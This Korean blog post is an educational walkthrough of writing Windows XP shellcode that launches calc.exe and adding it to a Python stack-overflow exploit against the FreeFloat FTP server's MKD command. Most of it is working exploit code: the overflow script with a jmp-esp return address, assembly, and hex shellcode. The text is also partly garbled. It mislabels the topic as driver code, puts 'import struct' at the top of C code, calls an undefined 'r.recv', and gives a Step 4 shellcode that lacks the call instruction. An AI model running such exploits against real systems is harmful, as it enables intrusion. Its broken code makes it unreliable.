[Window Application Exploit] Writing W32 Shellcode



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 6 -> Writing W32 Shellcode를 분석 및 의역하여 작성하였습니다. 

Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.


이 과정은 이전 단계에서 진행했던 FreeFloat FTP program을 사용하며 목적은 Debugger와 어셈블리 언어를 사용해 간단한 shellcode를 만드는 연습을 진행할 것입니다.

 

Step 1. Application

이전까지는 kali linux를 이용해 shellcode를 자동으로 얻어 사용했지만 리버싱을 하게될 때나 code의 흐름을 제대로 파악하려면 어셈블리를 읽을 줄 알아야 하고 이를 위해 간단한 shellcode 제작이 많은 도움이 됩니다.

 

먼저 이전에 사용했던 return address를 덮는 code를 사용합니다.

import struct
import socket
import struct
import sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn = s.connect(('192.168.236.183', 21))

overflow = ""
overflow += "A" * 248
overflow += "\x7b\x46\x86\x7c"

print s.recv(1024)

s.send("USER anonymous\r\n")
print s.recv(1024)

s.send("PASS anonymous\r\n")
print s.recv(1024)

s.send("MKD" + overflow + "\r\n")
print r.recv(1024)

s.close()

 

이전에 사용했던 exploit code에서는 jmp esp code를 통해서 shellcode를 실행시켰습니다. overflow가 248bytes부터 되고 jmp esp code도 이미 알고 있으니 shellcode만 만들어 exploit에 추가만 해주면 됩니다.

 

 

Step 2. Get Function address

먼저 shellcode를 짜려면 특정 함수의 주소가 필요합니다. 현재 binary를 실행하는 환경인 window XP에서는 ASLR이 적용되어있지 않기 때문에 간단한 C code로도 함수의 주소를 구할 수가 있습니다.

 

아래의 code를 컴파일하고 나온 프로그램의 인자로 dll이름과 주소를 찾고자 하는 함수의 주소를 넘기면 해당 함수의 주소 값을 구할 수 있습니다.

import struct
int main(int argc, char *argv[])
{
	HMODULE target_dll;
	FARPROC target_func;

	if (argc < 3)
	{
		printf("[!]usage: %s (target DLL) (target function)\n", argv[0]);
		exit(0);
	}

	target_dll = LoadLibrary(argv[1]);

	if (target_dll == NULL)
	{
		printf("[!] target_dll error: 0x%x\n", GetLastError());
		exit(0);
	}

	target_func = GetProcAddress(target_dll, argv[2]);

	if (target_func == NULL)
	{
		printf("[!] target_dll error: 0x%x\n", GetLastError());
		exit(0);
	}

	printf("[] Function address: 0x%x\n", target_func);

	return 0;
}

 

우리가 만들 shellcode는 WinExec() API를 이용해 계산기를 띄우는 shellcode입니다. 따라서 WinExec 함수의 주소가 필요합니다. 해당 함수가 들어있는 dll file은 kernel32.dll입니다.

 

프로그램으로 구한 WinExec 함수 주소는 아래와 같습니다.

 

 

 

Step 3. Assembly

다음으로는 WinExec 함수를 실행시킬 때 인자를 어떻게 전해줄 것인가를 생각해야 합니다.

UINT WINAPI WinExec(
	_In_ LPCSTR lpCmdLine,
	_In_ UINT uCmdShow
);

 

WinExec() 함수에서 필요한 인자는 2개가 있습니다.

1. lpCmdLine: 실행될 프로그램

2. uCmdShow: 가시화 유무

 

계산기가 실행되었을 때 프로그램 window창이 보여야 하므로 uCmdShow는 1을 줘야 합니다. 그리고 첫번째 인자로는 “calc.exe” 문자열의 주소가 넘어가야 합니다.

 

하지만 일반적인 stack 구조에서는 들어간 데이터가 little endian형태로 4bytes씩 memory에 담기기때문에 “calc.exe”를 인자로 전달해주고 싶다면 “calc”, “.exe”로 나눠서 보내줘야 합니다.

 

 

그리고 32bit 환경에서 함수가 실행될 때는 함수가 불리기 전 stack을 가리키는 esp register가 가리키는 부분부터 인자를 담게 됩니다.

 

 

예를 들어 1, 2를 인자로 가지는 func라는 함수가 호출된다면 아래와 같이 해당 인자들이 먼저 push 되거나 esp가 가리키는 부분에 담긴 이후 함수를 호출하게 됩니다.

func(1, 2)

push 2
push 1
call func

 

“calc.exe”라는 문자열을 16진수로 나타내면 “\x63\x61\x6c\x63\x2e\x65\x78\x65” 입니다. 따라서 4bytes로 나눠서 stack에 push하게 되면 아래와 같은 과정을 따르게 됩니다.

push \x2e\x65\x78\x65
push \x63\x61\x6c\x63

 

그리고 push라는 opcode도 16진수로 넣어야 하고 lpCmdLine의 자료형태는 LPCSTR 형태입니다. 따라서 “calc.exe”라는 문자열이 존재하는 주소값을 넘겨줘야 합니다.

 

아래의 1)번에서 push과정을 통해 현재 esp가 가지고 있는 값은 “calc.exe”의 주소 값을 가지고 있습니다. 그리고 2)번에서 문자열의 주소를 가지고 있는 esp register의 값을 eax register로 옮기고 push 해준다면 문자열의 주소를 WinExec함수 인자로 넘길 수 있습니다.

push \x2e\x65\x78\x65 push \x63\x61\x6c\x63 1) esp -> "calc.exe" mov eax, esp 2) eax = esp push eax

 

그리고 WinExec함수로 인자가 전달될 때 WinExec(“calc.exe”, 1)과 같은 구조를 이뤄야 합니다. 인자의 파싱은 낮은 주소부터 일어나기 때문에 1이먼저 stack으로 push 되어야 합니다.

push 1
push "calc.exe"
push 1
xor eax, eax
push \x2e\x65\x78\x65
push \x63\x61\x6c\x63 
mov eax, esp 
push eax
call WinExec

 

Step 4. Shellcode

전체적인 어셈블리 과정을 정리하면 위와 같습니다. 이 과정을 임의의 binary에서 code patch를 통해 제대로 작동하는지 확인해보겠습니다.

 

아래와 같이 binary의 실행 코드 일부분을 code patch를 통해 calc.exe를 실행시키는 code로 변환하였습니다. 하지만 실제로 실행되었을 때 제대로 실행이 되지 않는 것을 확인할 수 있습니다.

 

 

“calc.exe”인자가 들어간 stack값을 살펴보면 NULL byte가 없어 0x4011e7이라는 값까지 읽히는 것을 확인할 수 있습니다. 따라서 먼저 NULL byte를 push하는 과정을 추가해야 합니다.

 

 

eax값을 xor해서 0으로 만들어준 다음 stack으로 NULL byte를 push해 주어 code를 수정하였습니다.

 

 

 

이후 패치된 code를 계속 실행시키면 성공적으로 계산기가 뜬 것을 확인할 수 있습니다.

 

 

이제 위의 어셈블리 언어가 hex값으로 나타난 부분을 이용해 shellcode를 만들 수 있습니다.

패치된 부분의 hex값은 아래와 같습니다. 아래의 code는 calc.exe를 WinExec 함수를 통해 실행시키는 shellcode입니다.

"\x33\xc0\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x33\xc0\x8b\xc4\x6a\x01\x50\xbb\xad\x23\x86\x7c\xbb\xad\x23\x86\x7c"

 

Step 5. Exploit

만든 shellcode를 exploit에 추가시켜 실행시킵니다.

import socket import struct import sys s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn = s.connect(('192.168.236.183', 21)) overflow = "" overflow += "A" * 248 overflow += "\x7b\x46\x86\x7c" overflow += "\x90" * 0x20 overflow += "\x33\xc0\x50" overflow += "\x68\x2e\x65\x78\x65" \ "\x68\x63\x61\x6c\x63" \ "\x33\xc0" \ "\x8b\xc4" \ "\x6a\x01" \ "\x50" \ "\xbb\xad\x23\x86\x7c" \ "\xff\xd3\x90\x90" print s.recv(1024) s.send("USER anonymous\r\n") print s.recv(1024) s.send("PASS anonymous\r\n") print s.recv(1024) s.send("MKD" + overflow + "\r\n") print r.recv(1024) s.close()

 

성공적으로 계산기가 실행된 것을 확인할 수 있습니다.

 

이 글을 공유하기

댓글